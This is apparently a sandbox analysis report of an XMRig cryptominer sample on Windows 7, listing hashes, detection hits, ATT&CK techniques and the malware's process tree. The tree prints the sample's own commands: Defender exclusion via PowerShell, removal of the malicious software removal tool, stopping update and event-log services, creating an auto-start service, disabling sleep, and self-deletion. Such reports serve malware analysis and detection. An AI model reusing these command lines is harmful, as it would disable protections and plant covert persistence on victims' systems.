xmrig | 6fe42b18556ac8fed54bef3764fce037f0335f4251b3208078cdc26ba3db70c5

Analysis

max time kernel
91s
max time network
124s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
26/07/2024, 15:02

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General

Target

21caa344cb457a82dcdc3cbcb774c330N.exe
Size

5.4MB
MD5

21caa344cb457a82dcdc3cbcb774c330
SHA1

4c62864574c062870ebccd59e8045d8e91d5fcf6
SHA256

6fe42b18556ac8fed54bef3764fce037f0335f4251b3208078cdc26ba3db70c5
SHA512

706ddc35107c761f794cc98bf7395f3dd556ddd082dd6900879d34635283f7ea5132d205ce7b92bbf79abf200a3e65883c9bd0b0dd5e5a820f72071f58634749
SSDEEP

98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/1504-34-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1504-33-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1504-38-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1504-36-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1504-40-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1504-39-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1504-37-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1504-41-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1296	powershell.exe
2800	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
496	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
476	Process not Found
2376	fqwofdtexigy.exe

Loads dropped DLL 1 IoCs

pid	Process
476	Process not Found

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1504-31-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-29-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-27-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-34-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-32-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-33-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-30-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-38-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-36-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-40-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-39-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-37-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1504-41-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2964	powercfg.exe
2152	powercfg.exe
2276	powercfg.exe
2828	powercfg.exe
652	powercfg.exe
1916	powercfg.exe
1052	powercfg.exe
572	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	21caa344cb457a82dcdc3cbcb774c330N.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	fqwofdtexigy.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2376 set thread context of 2436	2376	fqwofdtexigy.exe	85
PID 2376 set thread context of 1504	2376	fqwofdtexigy.exe	88

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3008	sc.exe
2852	sc.exe
2472	sc.exe
2856	sc.exe
1120	sc.exe
624	sc.exe
348	sc.exe
2724	sc.exe
2108	sc.exe
2448	sc.exe
2760	sc.exe
272	sc.exe
1312	sc.exe
2572	sc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30996fe96cdfda01	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
588	21caa344cb457a82dcdc3cbcb774c330N.exe
2800	powershell.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
588	21caa344cb457a82dcdc3cbcb774c330N.exe
2376	fqwofdtexigy.exe
1296	powershell.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
2376	fqwofdtexigy.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe
1504	nslookup.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeShutdownPrivilege	652	powercfg.exe
Token: SeShutdownPrivilege	572	powercfg.exe
Token: SeShutdownPrivilege	1916	powercfg.exe
Token: SeShutdownPrivilege	1052	powercfg.exe
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeShutdownPrivilege	2828	powercfg.exe
Token: SeShutdownPrivilege	2152	powercfg.exe
Token: SeShutdownPrivilege	2964	powercfg.exe
Token: SeShutdownPrivilege	2276	powercfg.exe
Token: SeLockMemoryPrivilege	1504	nslookup.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 2700	2876	cmd.exe	38
PID 2876 wrote to memory of 2700	2876	cmd.exe	38
PID 2876 wrote to memory of 2700	2876	cmd.exe	38
PID 496 wrote to memory of 2112	496	cmd.exe	63
PID 496 wrote to memory of 2112	496	cmd.exe	63
PID 496 wrote to memory of 2112	496	cmd.exe	63
PID 2656 wrote to memory of 1904	2656	cmd.exe	71
PID 2656 wrote to memory of 1904	2656	cmd.exe	71
PID 2656 wrote to memory of 1904	2656	cmd.exe	71
PID 2376 wrote to memory of 2436	2376	fqwofdtexigy.exe	85
PID 2376 wrote to memory of 2436	2376	fqwofdtexigy.exe	85
PID 2376 wrote to memory of 2436	2376	fqwofdtexigy.exe	85
PID 2376 wrote to memory of 2436	2376	fqwofdtexigy.exe	85
PID 2376 wrote to memory of 2436	2376	fqwofdtexigy.exe	85
PID 2376 wrote to memory of 2436	2376	fqwofdtexigy.exe	85
PID 2376 wrote to memory of 2436	2376	fqwofdtexigy.exe	85
PID 2376 wrote to memory of 2436	2376	fqwofdtexigy.exe	85
PID 2376 wrote to memory of 2436	2376	fqwofdtexigy.exe	85
PID 2376 wrote to memory of 1504	2376	fqwofdtexigy.exe	88
PID 2376 wrote to memory of 1504	2376	fqwofdtexigy.exe	88
PID 2376 wrote to memory of 1504	2376	fqwofdtexigy.exe	88
PID 2376 wrote to memory of 1504	2376	fqwofdtexigy.exe	88
PID 2376 wrote to memory of 1504	2376	fqwofdtexigy.exe	88

C:\Users\Admin\AppData\Local\Temp\21caa344cb457a82dcdc3cbcb774c330N.exe
"C:\Users\Admin\AppData\Local\Temp\21caa344cb457a82dcdc3cbcb774c330N.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:588
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2700
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2856
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2724
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2760
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1120
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3008
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:572
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1052
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1916
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:652
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:2852
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:2108
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:1312
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\21caa344cb457a82dcdc3cbcb774c330N.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:496
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2112

C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:1904
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2572
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:624
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2448
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2472
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:348
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2964
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2828
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2436
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

Filesize
5.4MB

MD5
21caa344cb457a82dcdc3cbcb774c330

SHA1
4c62864574c062870ebccd59e8045d8e91d5fcf6

SHA256
6fe42b18556ac8fed54bef3764fce037f0335f4251b3208078cdc26ba3db70c5

SHA512
706ddc35107c761f794cc98bf7395f3dd556ddd082dd6900879d34635283f7ea5132d205ce7b92bbf79abf200a3e65883c9bd0b0dd5e5a820f72071f58634749

Download Submit
memory/1296-18-0x0000000000950000-0x0000000000958000-memory.dmp

Filesize
32KB

Download
memory/1296-17-0x0000000019EF0000-0x000000001A1D2000-memory.dmp

Filesize
2.9MB

Download
memory/1504-33-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-37-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-36-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-38-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-30-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-31-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-39-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-40-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-41-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-32-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-34-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-35-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1504-27-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1504-29-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2436-19-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2436-23-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2436-21-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2436-26-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2436-22-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2436-20-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2800-12-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-4-0x000007FEF5A6E000-0x000007FEF5A6F000-memory.dmp

Filesize
4KB

Download
memory/2800-11-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-10-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-9-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-8-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-7-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-6-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/2800-5-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download